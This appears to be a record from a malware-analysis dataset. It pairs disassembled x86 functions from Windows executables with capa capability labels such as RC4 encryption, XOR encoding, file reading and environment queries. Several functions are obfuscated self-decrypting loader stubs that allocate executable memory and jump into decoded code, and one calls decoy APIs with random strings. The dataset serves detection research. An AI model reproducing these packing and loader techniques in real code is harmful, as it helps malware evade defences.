joyce8/EMBER2024-capa huggingface dataset:
Function at 0x479b50
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4a8eb0
push eax
mov dword fs:[0], esp
push esi
push edi
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.00480abe
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.00481c35
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x34], esi
mov dword [edi + 0xc], eax
add esp, 8
lea eax, [edi + 0x14]
mov dword [edi + 0x10], ecx
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [edi + 0x20]
mov ecx, dword [ebp - 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov eax, edi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x47c910
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ecx
mov dl, byte [0x550b61]
mov al, byte [0x550b62]
push ebx
mov ebx, dword [0x54fc2c]
push ebp
mov ebp, ecx
push esi
push edi
test dl, dl
je 0x47c94f
test al, al
jne 0x47c94f
mov cl, 1
mov al, byte [ebp + 0x54e4f1]
xor ah, ah
test cl, cl
je 0x47ca45
cmp al, 1
setne al
mov byte [ebp + 0x54e4f1], al
jmp 0x47c9ac
xor cl, cl
test al, al
je 0x47c932
test dl, dl
je 0x47c932
xor eax, eax
mov byte [esp + 0x13], 1
test ebx, ebx
jle 0x47ca26
lea edx, [eax + 1]
nop dword [eax + eax]
cmp eax, ebp
je 0x47c981
cmp byte [eax + 0x54e4f1], 0
movzx ecx, cl
cmove ecx, edx
inc eax
cmp eax, ebx
jl 0x47c970
test cl, cl
je 0x47ca26
mov ecx, ebx
mov eax, 0x1010101
mov edx, ecx
mov edi, 0x54e4f1
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ah, byte [esp + 0x13]
xor esi, esi
test ebx, ebx
jle 0x47ca02
mov edi, 0x54dbcc
mov edx, 0x54fc4b
nop dword [eax]
mov cl, byte [esi + 0x54e4f1]
test cl, cl
sete al
mov byte [edx - 0xa], al
test cl, cl
jne 0x47c9f4
mov word [edx - 1], 0
mov dword [edx + 0x21], 0x80000000
mov dword [edx + 0x51], 0
mov word [edx + 0x25], 0x8080
mov byte [edx - 7], 1
mov byte [edx - 0xb], 1
mov byte [edi], 0
inc esi
add edx, 0x78
add edi, 0x38
cmp esi, ebx
jl 0x47c9c0
test ah, ah
je 0x47ca68
xor esi, esi
test ebx, ebx
jle 0x47ca20
nop dword [eax]
mov ecx, esi
call fcn.0047c680
inc esi
cmp esi, dword [0x54fc2c]
jl 0x47ca10
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
xor ecx, ecx
test ebx, ebx
jle 0x47c9a8
cmp ecx, ebp
sete al
mov byte [ecx + 0x54e4f1], al
inc ecx
cmp ecx, ebx
jl 0x47ca30
jmp 0x47c9a8
test al, al
je 0x47ca55
xor byte [ebp + 0x55256b], 1
jmp 0x47c9ac
mov byte [ebp + 0x55256b], 1
mov byte [ebp + 0x54e4f1], 1
jmp 0x47c9ac
pop edi
pop esi
mov ecx, ebp
pop ebp
pop ebx
add esp, 4
jmp fcn.0047c680
Function at 0x47e610
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, ecx
push edi
push esi
call fcn.00489a43
push 2
push 0
push esi
mov dword [esp + 0x30], eax
call fcn.00489d25
push esi
call fcn.00489a43
mov edi, eax
add esp, 0x14
cmp edi, 0xc
jl 0x47e7b9
push 0
push 0xc
push esi
call fcn.00489d25
xor eax, eax
xor ebp, ebp
push esi
mov dword [esp + 0x2c], eax
xor ebx, ebx
call fcn.0048feb4
add esp, 0x10
test eax, eax
jne 0x47e7b9
lea eax, [edi - 0xc]
mov dword [esp + 0x24], eax
nop dword [eax]
cmp ebx, eax
jge 0x47e764
push esi
push 1
lea eax, [esp + 0x1c]
push 4
push eax
call fcn.0048a465
mov ecx, dword [esp + 0x24]
mov edx, ecx
mov eax, ecx
and edx, 0xff0000
shr eax, 0x10
or edx, eax
mov eax, ecx
and eax, 0xff00
shl ecx, 0x10
or eax, ecx
shr edx, 8
shl eax, 8
or edx, eax
push esi
mov dword [esp + 0x28], edx
call fcn.0048feb4
add esp, 0x14
test eax, eax
jne 0x47e764
push esi
push 1
lea eax, [esp + 0x18]
push 4
push eax
call fcn.0048a465
mov ecx, dword [esp + 0x20]
mov edx, ecx
mov eax, ecx
and edx, 0xff0000
shr eax, 0x10
or edx, eax
mov eax, ecx
and eax, 0xff00
shl ecx, 0x10
or eax, ecx
shr edx, 8
shl eax, 8
or edx, eax
push esi
mov dword [esp + 0x24], edx
call fcn.0048feb4
add esp, 0x14
test eax, eax
jne 0x47e764
push esi
call fcn.00489a43
mov edx, dword [esp + 0x14]
add esp, 4
mov edi, edx
add eax, edx
and edi, 1
add edi, eax
cmp dword [esp + 0x14], 0x434f4d4d
jne 0x47e73d
push esi
call fcn.00489a43
mov edx, dword [esp + 0x14]
add esp, 4
mov ebp, eax
mov dword [esp + 0x1c], edx
mov ecx, edx
push 0
and ecx, 1
add ecx, edx
push edi
push esi
add ebx, ecx
call fcn.00489d25
push esi
call fcn.0048feb4
add esp, 0x10
test eax, eax
mov eax, dword [esp + 0x24]
je 0x47e670
test ebp, ebp
je 0x47e7b9
mov eax, dword [esp + 0x1c]
cmp eax, 2
jb 0x47e7b9
push 0
push ebp
push esi
call fcn.00489d25
push esi
push 1
lea eax, [esp + 0x2c]
push 2
push eax
call fcn.0048a465
mov ax, word [esp + 0x34]
push 0
push dword [esp + 0x40]
rol ax, 8
movzx eax, ax
push esi
mov dword [esp + 0x40], eax
call fcn.00489d25
add esp, 0x28
cmp word [esp + 0x18], 2
sete al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret
push 0
push dword [esp + 0x24]
push esi
call fcn.00489d25
add esp, 0xc
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret
Function at 0x4998e5
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0049975b

Function at 0x49d555
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0049d1d2

Function at 0x4a64f0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
je 0x4a662a
mov ecx, dword [ebp - 4]
lea ecx, [ecx*4 + 4]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov dword [ebp - 0x14], edi
test edi, edi
je 0x4a662a
xor ebx, ebx
cmp dword [ebp - 4], ebx
jle 0x4a65cc
sub eax, esi
mov dword [ebp - 0xc], eax
mov edi, edi
push dword [esi]
call sub.SDL2.dll_SDL_wcslen
lea eax, [eax*2 + 2]
push eax
push dword [esi]
push str.UTF_16LE
push str.UTF_8
call sub.SDL2.dll_SDL_iconv_string
mov edi, eax
add esp, 0x14
test edi, edi
je 0x4a662a
push edi
call sub.SDL2.dll_SDL_strlen
add esp, 4
mov dword [ebp - 0x10], eax
lea ecx, [eax + 1]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + esi], eax
test eax, eax
je 0x4a662a
push dword [ebp - 0x10]
push edi
push eax
call sub.SDL2.dll_SDL_memcpy
push edi
call sub.SDL2.dll_SDL_free
inc ebx
add esp, 0x10
add esi, 4
cmp ebx, dword [ebp - 4]
jl 0x4a6550
mov edi, dword [ebp - 0x14]
mov esi, dword [ebp - 8]
push esi
mov dword [edi + ebx*4], 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
call sub.SDL2.dll_SDL_SetMainReady
push edi
push dword [ebp - 4]
call fcn.0041e180
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 4], esi
jle 0x4a6614
jmp 0x4a6600
push dword [edi + esi*4]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call ebx
inc esi
cmp esi, dword [ebp - 4]
jl 0x4a6600
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call ebx
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0x4b6df0
push str.Fatal_Error
push 0x10
call sub.SDL2.dll_SDL_ShowSimpleMessageBox
add esp, 0x10
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x401443
pop dword [ebp - 0x28]
mov eax, 0x401443
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xa2c45852
add dword [ebp - 0x38], 0xab8decf9
mov dword [ebp - 0x34], 0x47b9e43c
add dword [ebp - 0x34], 0xea796809
mov dword [ebp - 0x30], 0x3f1313f3
add dword [ebp - 0x30], 0xd39303b
mov dword [ebp - 0x2c], 0x92e2e2a5
add dword [ebp - 0x2c], 0x6d1d1d5b
lea eax, [ebp - 0x38]
push eax
mov eax, 0x5c2f634b
sub eax, 0x5beee2d3
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xc1a1e36d
sub dword [ebp - 0x38], 0x4d2f7a17
mov dword [ebp - 0x34], 0x1326161
sub dword [ebp - 0x34], 0xbfc5ffec
mov dword [ebp - 0x30], 0xccc6e61a
add dword [ebp - 0x30], 0x96a88652
mov dword [ebp - 0x2c], 0xbaa81b99
add dword [ebp - 0x2c], 0x4557e467
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3b3ad
push 0
call eax
mov ecx, 0xf0711aaa
sub ecx, 0xf070c740
mov esi, eax
mov edi, 0x459200
add edi, dword [ebp - 0x28]
mov edx, 0x4e089513
mov dword [ebp - 0xc], 0x300ba40c
mov ebx, dword [edi]
add dword [ebp - 0x10], esi
add ebx, edx
xor dword [ebp - 0x20], 0x5c56478
mov dword [esi], ebx
mov dword [ebp - 4], 0x562105d9
add esi, 0xd3499ab2
add esi, 0x2cb66552
add edi, 0xc4bebd7c
sub edi, 0xc4bebd78
loop 0x40154f
add eax, 0x35c06123
sub eax, 0x35bf20a8
xor ebx, ebx
add ebx, eax
add eax, 0x298559be
add eax, 0xd67aa647
mov ecx, 0xfaa43854
sub ecx, 0xfa643854
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x10002021
Capabilities:
Query environment variable

Disassembly:
cmp dword [esp + 0xc], 0
push ebx
push ebp
je 0x1000209d
xor ebp, ebp
push ebp
push dword [esp + 0x18]
push dword [esp + 0x14]
call sym.java.dll__JNU_GetStringPlatformChars_12
mov ebx, eax
test ebx, ebx
je 0x1000209d
push edi
push ebp
push ebp
push ebx
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
mov ebp, eax
test ebp, ebp
je 0x10002088
push ebp
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
pop ecx
test edi, edi
je 0x10002088
push ebp
push edi
push ebx
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
push edi
test eax, eax
je 0x10002081
push dword [esp + 0x14]
call sym.java.dll__JNU_NewStringPlatform_8
push edi
mov ebp, eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x1000208a
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
xor ebp, ebp
push ebx
push dword [esp + 0x1c]
push dword [esp + 0x18]
call sym.java.dll__JNU_ReleaseStringPlatformChars_12
mov eax, ebp
pop edi
jmp 0x1000209f
xor eax, eax
pop ebp
pop ebx
ret 0xc

Function at 0x10002819
Capabilities:
Identify system language via api

Disassembly:
cmp dword [esp + 0xc], 0
je 0x10002828
call dword [sym.imp.kernel32.dll_GetUserDefaultLCID]
jmp 0x1000282e
call dword [sym.imp.kernel32.dll_GetUserDefaultUILanguage]
push esi
movzx eax, ax
push edi
push eax
call fcn.1000ebd0
mov esi, eax
pop ecx
test esi, esi
je 0x1000285a
mov ecx, dword [esp + 0xc]
push esi
push ecx
mov edx, dword [ecx]
call dword [edx + 0x29c]
push esi
mov edi, eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x1000286a
push str.memory_allocation_error
push dword [esp + 0x10]
call sym.java.dll__JNU_ThrowOutOfMemoryError_8
xor edi, edi
mov eax, edi
pop edi
pop esi
ret 0xc

Function at 0x10003d57
Capabilities:
Query environment variable

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
push esi
call sym.java.dll__JNU_ClassString_4
mov ebp, eax
test ebp, ebp
je 0x10003da0
mov ecx, dword [esi]
push str.__B_V
push str._init_
push ebp
push esi
call dword [ecx + 0x84]
mov dword [esp + 0x14], eax
test eax, eax
je 0x10003da0
call dword [sym.imp.kernel32.dll_GetEnvironmentStrings]
mov edi, eax
test edi, edi
jne 0x10003da9
push str.GetEnvironmentStrings_failed
push esi
call sym.java.dll__JNU_ThrowOutOfMemoryError_8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
xor ebx, ebx
cmp byte [edi], bl
je 0x10003dbc
mov al, byte [ebx + edi]
inc ebx
test al, al
jne 0x10003daf
cmp byte [ebx + edi], al
jne 0x10003daf
mov eax, dword [esi]
push ebx
push esi
call dword [eax + 0x2c0]
mov ecx, eax
mov dword [esp + 0x10], ecx
push edi
test ecx, ecx
jne 0x10003dd9
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsA]
jmp 0x10003da0
mov eax, dword [esi]
push ebx
push 0
push ecx
push esi
call dword [eax + 0x340]
push edi
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsA]
push dword [esp + 0x10]
mov eax, dword [esi]
push dword [esp + 0x18]
push ebp
push esi
call dword [eax + 0x70]
add esp, 0x10
jmp 0x10003da2
Function at 0x10007bba
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [sym.imp.advapi32.dll_CryptAcquireContextA]
lea eax, [esp + 0xc]
push edi
push 0
xor ebp, ebp
mov edi, str.J2SE
inc ebp
xor bl, bl
push ebp
push 0
push edi
push eax
call esi
test eax, eax
jne 0x10007bf4
push 8
push ebp
push eax
push edi
lea eax, [esp + 0x20]
push eax
call esi
test eax, eax
jne 0x10007bf4
xor al, al
jmp 0x10007c51
mov esi, dword [esp + 0x18]
push dword [esp + 0x20]
push esi
mov eax, dword [esi]
call dword [eax + 0x2ac]
mov ecx, dword [esi]
mov ebp, eax
push 0
push dword [esp + 0x24]
push esi
call dword [ecx + 0x2e0]
mov edi, eax
test edi, edi
je 0x10007c43
push edi
push ebp
push dword [esp + 0x18]
call dword [sym.imp.advapi32.dll_CryptGenRandom]
mov ecx, dword [esi]
test eax, eax
push 1
pop eax
push 0
push edi
push dword [esp + 0x28]
movzx ebx, bl
push esi
cmovne ebx, eax
call dword [ecx + 0x300]
push 0
push dword [esp + 0x14]
call dword [sym.imp.advapi32.dll_CryptReleaseContext]
mov al, bl
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0xc

Function at 0x10007f15
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
push dword [0x1001ff58]
push dword [esp + 0x18]
push dword [esp + 0x14]
call fcn.1000a1e8
mov esi, eax
add esp, 0xc
test esi, esi
je 0x10007f66
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
push eax
push esi
call fcn.1000ebd0
push esi
mov ebx, eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 0xc
cmp ebx, 0xffffffff
je 0x10007f66
mov ecx, dword [esp + 0x18]
sub ecx, 1
je 0x10007f75
sub ecx, 1
je 0x10007f6d
dec ecx
sub ecx, 1
je 0x10007f75
xor al, al
pop esi
pop ebx
ret 0x10
and bl, 0x11
cmp bl, 1
je 0x10007f66
mov al, 1
jmp 0x10007f68

Function at 0x10007f79
Capabilities:
Create directory

Disassembly:
push edi
push dword [0x1001ff58]
push dword [esp + 0x14]
push dword [esp + 0x10]
call fcn.1000a1e8
mov edi, eax
add esp, 0xc
test edi, edi
je 0x10007fb3
push esi
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryW]
push edi
mov esi, eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
test esi, esi
pop esi
je 0x10007fb3
mov al, 1
jmp 0x10007fb5
xor al, al
pop edi
ret 0xc
Function at 0x10007fba
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
xor edi, edi
push edi
push dword [esp + 0x18]
push dword [esp + 0x14]
call fcn.1000a6ac
mov esi, eax
add esp, 0xc
test esi, esi
je 0x1000803c
push esi
call fcn.1000ebd0
pop ecx
test eax, eax
jne 0x10008034
push edi
push 0x200080
push 1
push edi
push 3
push 0xc0000000
push esi
call dword [sym.imp.kernel32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10008043
call dword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
cmp edi, 0x50
je 0x10008034
cmp edi, 0xb7
je 0x10008034
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x10008034
push edi
call dword [sym.imp.kernel32.dll_SetLastError]
push str.Could_not_open_file
push dword [esp + 0x10]
call sym.java.dll__JNU_ThrowIOExceptionWithLastError_8
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
xor al, al
pop edi
pop esi
ret 0xc
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov al, 1
jmp 0x1000803e

Function at 0x1000836f
Capabilities:
Get disk size

Disassembly:
push ebp
lea ebp, [esp - 0x7a8]
sub esp, 0x828
mov eax, dword [0x1001ff00]
xor eax, ebp
mov dword [ebp + 0x7a4], eax
mov eax, dword [ebp + 0x7b8]
xorps xmm0, xmm0
mov ecx, dword [ebp + 0x7b0]
push ebx
push esi
push edi
push dword [0x1001ff58]
movlpd qword [ebp - 0x80], xmm0
push eax
push ecx
call fcn.1000a1e8
add esp, 0xc
mov ebx, eax
lea eax, [ebp - 0x60]
push 0x400
push eax
push ebx
call dword [sym.imp.kernel32.dll_GetVolumePathNameW]
test eax, eax
je 0x1000840e
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.kernel32.dll_GetDiskFreeSpaceExW]
test eax, eax
je 0x1000840e
mov eax, dword [ebp + 0x7bc]
sub eax, 0
je 0x10008406
sub eax, 1
je 0x100083fe
sub eax, 1
jne 0x1000840e
mov esi, dword [ebp - 0x68]
mov edi, dword [ebp - 0x64]
jmp 0x10008414
mov esi, dword [ebp - 0x70]
mov edi, dword [ebp - 0x6c]
jmp 0x10008414
mov esi, dword [ebp - 0x78]
mov edi, dword [ebp - 0x74]
jmp 0x10008414
mov edi, dword [ebp - 0x7c]
mov esi, dword [ebp - 0x80]
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
mov ecx, dword [ebp + 0x7a4]
mov edx, edi
pop edi
mov eax, esi
xor ecx, ebp
pop esi
pop ebx
call fcn.10014785
add ebp, 0x7a8
leave
ret 0x10
Function at 0x1000b6d5
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
mov eax, dword [0x1001ff00]
xor eax, esp
mov dword [esp + 0x104], eax
push ebp
push esi
push edi
mov edi, dword [esp + 0x118]
lea eax, [esp + 0xc]
mov ebp, 0x104
xor esi, esi
push ebp
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1000b738
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x1000b772
push ebp
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x1000b772
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
mov ecx, dword [esp + 0x110]
mov eax, esi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.10014785
add esp, 0x108
ret

Function at 0x1000ebd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x1000ebdf
pop dword [ebp - 0x48]
mov eax, 0x501d4dbe
sub eax, 0x401c61df
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x42c9b30f
sub dword [ebp - 0x58], 0xf4776dc4
mov dword [ebp - 0x54], 0xb78d27d0
add dword [ebp - 0x54], 0x7aa62475
mov dword [ebp - 0x50], 0x88a8daaa
sub dword [ebp - 0x50], 0x3c5c967c
mov dword [ebp - 0x4c], 0xf5fa9bb3
sub dword [ebp - 0x4c], 0xf5fa9bb3
lea eax, [ebp - 0x58]
push eax
mov eax, 0x82142506
add eax, 0x8ded3b5a
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xfd4e38e5
sub dword [ebp - 0x58], 0x88dbcf8f
mov dword [ebp - 0x54], 0x333fa5d7
sub dword [ebp - 0x54], 0xf1d34462
mov dword [ebp - 0x50], 0xd3e5e94f
sub dword [ebp - 0x50], 0x70767ce3
mov dword [ebp - 0x4c], 0xe895127c
add dword [ebp - 0x4c], 0x176aed84
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3a4aa
push 0
call eax
mov ecx, 0xd36c46e9
add ecx, 0x2c940b1b
xor ebx, ebx
add ebx, eax
mov esi, 0x6286a2f4
sub esi, 0x52846cf4
add esi, dword [ebp - 0x48]
mov edx, 0x352aff2
mov edi, dword [esi]
add dword [ebp - 0x34], 0xf88cecc
xor edi, edx
mov dword [ebp - 0x1c], 0x5ff533f2
mov dword [ebx], edi
xor dword [ebp - 0x1c], eax
add ebx, 0xefa271f0
add ebx, 0x105d8e14
add esi, 0x508ef130
add esi, 0xaf710ed4
loop 0x1000ecf8
add eax, 0xcce00673
sub eax, 0xccdecb90
xor ebx, ebx
add ebx, eax
add eax, 0xdd9d0df6
sub eax, 0xdd9d0df1
mov ecx, 0x6531ded1
add ecx, 0xaace212f
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x40923e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x40924d
pop dword [ebp - 0x10]
mov eax, 0xff6fb1c8
sub eax, 0xff2f1f7b
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x1af527f8
sub dword [ebp - 0x20], 0xcca2e2ad
mov dword [ebp - 0x1c], 0xaf198a19
add dword [ebp - 0x1c], 0x8319c22c
mov dword [ebp - 0x18], 0xd42ea4b2
sub dword [ebp - 0x18], 0x87e26084
mov dword [ebp - 0x14], 0xd97bddb0
add dword [ebp - 0x14], 0x26842250
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x81ad9dc7
add dword [ebp - 0x20], 0xf2c4cb8f
mov dword [ebp - 0x1c], 0x14c8f609
sub dword [ebp - 0x1c], 0xd35c9494
mov dword [ebp - 0x18], 0x5431c6ec
add dword [ebp - 0x18], 0xf3da580
mov dword [ebp - 0x14], 0x3f285659
add dword [ebp - 0x14], 0xc0d7a9a7
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x557b9993
add eax, 0xaac50681
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3a896
push 0
call eax
mov ecx, 0x4ea3
mov ebx, eax
mov edi, 0x43be00
add edi, dword [ebp - 0x10]
mov edx, 0x94450186
mov esi, dword [edi]
add dword [ebp - 4], ebx
sub esi, edx
xor dword [ebp - 4], 0xfa92d06c
mov dword [ebx], esi
mov dword [ebp - 4], 0x53c1bddf
add ebx, 0x4025c30f
add ebx, 0xbfda3cf5
add edi, 0x1db2f7f7
add edi, 0xe24d080d
loop 0x409358
add eax, 0x8d96fdb9
add eax, 0x726a2fa6
mov ebx, eax
add eax, 0x5395ea7e
sub eax, 0x5395ea79
mov ecx, 0xc57c1c41
sub ecx, 0xc53c1c41
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x40b157
Capabilities:
Set console window title

Disassembly:
sub esp, 0x428
mov eax, dword [0x44f030]
xor eax, esp
mov dword [esp + 0x424], eax
mov eax, dword [0x2b0a1cc]
push ebx
mov ebx, dword [0x2b09eec]
push esi
mov esi, dword [0x44ff60]
push edi
mov edi, eax
cmp eax, 0x930
jne 0x40b171
push str.wozekajevirifegavonetucusiva
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov eax, dword [0x2b0a1cc]
mov dword [0x2b09ee8], esi
cmp eax, 0x114e
jne 0x40b199
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
lea eax, [esp + 0x14]
push eax
push str.gavipokucohuj
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
mov eax, dword [0x2b0a1cc]
cmp eax, 0x2f
jne 0x40b1bb
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
call fcn.0040b060
mov ecx, dword [esp + 0x430]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401112
add esp, 0x428
ret